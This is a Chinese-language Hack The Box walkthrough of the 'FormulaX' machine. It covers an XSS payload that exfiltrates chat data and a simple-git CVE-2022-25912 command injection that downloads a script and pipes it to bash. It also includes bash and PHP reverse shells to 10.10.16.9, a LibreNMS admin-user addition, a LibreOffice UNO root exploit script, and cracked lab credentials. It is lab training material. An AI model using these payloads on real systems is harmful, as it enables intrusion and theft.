htb_FormulaX(XSS)

信息收集

常规信息收集

bash 复制代码
nmap -sV -sC 10.10.11.6

开放22,80端口

bash 复制代码
gobuster dir -u http://10.10.11.6/ -w /usr/share/Seclists-master/Discovery/Web-Content/directory-list-2.3-medium.txt

一无所获

80端口-web

注册账户

Chat Now 和 Contact Us是重点

Chat Now

一个ai聊天页面

提醒我们使用help和history命令

抓包,发现该请求采用socket.io轮询方式

contact_us

一个表单,尝试xss注入,存在漏洞

这个听说可以扫出来,但我换了几个工具也没扫到,不知道为啥

chat页面的js文件

Client端:接受从服务端传来的message字段,向服务端发送client_message字段

仿照chat.js代码,编写payload利用xss漏洞在contact_us表单上尝试注入

xss.js

javascript 复制代码
let value;
 const res = axios.get(`/user/api/chat`);
 const socket = io('/',{withCredentials: true});
 //listening for the messages
 socket.on('message', (my_message) => { 
//console.log("Received From Server: " + my_message)  
 // Show_messages_on_screen_of_Server(my_message)     
    //将监听数据发送到本机监听端口上
    fetch("http://10.10.16.9:3333/?mes=" + btoa(my_message );}) 
     
   
const typing_chat_new = () => {  
//尝试向服务器发送'history'
 value = "history";
 //document.getElementById('user_message').value  
 if (value) {  
 // sending the messages to the server  
 socket.emit('client_message', value)  
 Show_messages_on_screen_of_Client(value);  
 // here we will do out socket things..  
 document.getElementById('user_message').value = "" } 
else { alert("Cannot send Empty Messages"); }} 

将xss.js文件放在攻击机上,开启http服务,表单上注入(表单过滤了<script>)

bash 复制代码
<img src=x onerror="var script1=document.createElement('script');script1.src='http://10.10.16.9:4444/xss.js';document.head.appendChild(script1);"/>

攻击机开启监听

python3 -m http.server 3333

接收到返回数据,进行base64解码

其中一句提醒我们有一个新的域名,加入/etc/hosts访问

dev-git-auto-update.chatbot.htb

发现版本号simple-git v3.14 ,存在cve漏洞

CVE-2022-25912

poc提示我们输入以下代码,可以使服务器下载payload并执行

bash 复制代码
ext::sh -c curl% http://10.10.16.9:3333/shell1.sh|bash >&2

shell1.sh

bash 复制代码
#!/bin/bash
/bin/bash -c "bash -i >& /dev/tcp/10.10.16.9/1234 0>&1"

get shell

反弹shell执行,获得www-data权限

发现存在mongodb数据库

查看users表内容

bash 复制代码
show dbs

use testing

show collections

db.users.find()

发现两个用户信息,将密码复制下来放到john中解密

解密出来一个,是frank_dorky的密码frank_dorky:manchesterunited

开放了22端口,登录ssh,获得frank_dorky权限

sudo -l 无法使用

查看网络端口开放,开放了3000端口,上传chisel转发出来看看

bash 复制代码
chisel server -p 6150 --reverse
./chisellinux client 10.10.16.9:6150 R:3000:127.0.0.1:3000

本机访问127.0.0.1:3000,是一个libernms界面,搜索相关漏洞后,发现可以通过调用adduser.php添加管理用户

(这一段忘记截图了)

在frank_dorky用户下

bash 复制代码
cd /opt/librenms

./adduser.php cc cc 10

添加成功后,利用账号密码cc:cc进行登录

若提示失败,则将域名(127.0.1 libernms.com)添加至/etc/hosts再访问(libernms.com:3000)

该网站有一个templates模块,添加一段反弹shell的php代码

https://www.sonarsource.com/blog/it-s-a-snmp-trap-gaining-code-execution-on-librenms

php 复制代码
@php
system("bash -c '/bin/bash -i >& /dev/tcp/10.10.16.9/8888 0>&1'");
@endphp

反弹成功后,使用env命令查看环境变量,发现用户kai_relay凭据

kai_relay:mychemicalformulaX

提权

登录ssh,获得kai_relay权限

sudo -l 查看权限,发现该用户对于/user/bin/office.sh文件具有sudo权限

该脚本用于启动LiberOffice,开放2002端口接受远程调用

脚本链接

修改最后一句为反弹shell文件路径

python 复制代码
#exploit.py
import uno
from com.sun.star.system import XSystemShellExecute
import argparse

parser = argparse.ArgumentParser()
parser.add_argument('--host', help='host to connect to', dest='host', required=True)
parser.add_argument('--port', help='port to connect to', dest='port', required=True)

args = parser.parse_args()
# Define the UNO component
localContext = uno.getComponentContext()

# Define the resolver to use, this is used to connect with the API
resolver = localContext.ServiceManager.createInstanceWithContext(
                                "com.sun.star.bridge.UnoUrlResolver", localContext )

# Connect with the provided host on the provided target port
print("[+] Connecting to target...")
context = resolver.resolve(
        "uno:socket,host={0},port={1};urp;StarOffice.ComponentContext".format(args.host,args.port))
    
# Issue the service manager to spawn the SystemShellExecute module and execute calc.exe
service_manager = context.ServiceManager
print("[+] Connected to {0}".format(args.host))
shell_execute = service_manager.createInstance("com.sun.star.system.SystemShellExecute")
shell_execute.execute("/tmp/sh1.sh", '',1)

cd /tmp 后,将exploit.py,sh1.sh上传,给sh1.sh添加执行权限

再另起一个ssh连接,先执行sudo office.sh再执行exploit.py

bash 复制代码
sudo /usr/bin/office.sh
另起终端
python3 exploit.py --host localhost --port 2002

成功反弹root权限shell

相关推荐
国际云,接待7 小时前
Google Cloud Armor实战:给网站API加WAF、限速和日志验证
后端·网络安全·云计算·googlecloud
Demons_kirit1 天前
实验:文件路径遍历,简单情况(Lab: File path traversal, simple case)
网络安全
sbjdhjd1 天前
SQL 注入零基础详解:原理、手工注入流程与 Sqli-Labs 靶场实战1~5关和第9关思路
数据库·sql·计算机网络·web安全·网络安全·网络攻击模型·安全架构
学习溢出1 天前
【网络安全】Living off the Land 攻击 | 蓝队防守
安全·web安全·网络安全
学逆向的1 天前
汇编——寻址方式
开发语言·汇编·网络安全
上海云盾-高防顾问2 天前
SD-WAN 跨境加速,真实日常使用体验
网络·网络安全
中北marry2 天前
玄机靶场wp 应急响应-webshell查杀
网络安全
爱网络爱Linux2 天前
HCIA-Security(1)网络安全常见的威胁
web安全·网络安全·hcia-security·hcia安全·华为网络安全·网络安全常见的威胁
我不是QI3 天前
一、主持人信息(域名 网站资产情报搜集)原理解析
安全·网络安全
lubiii_3 天前
网络安全法律法规备考速查手册
安全·web安全·网络安全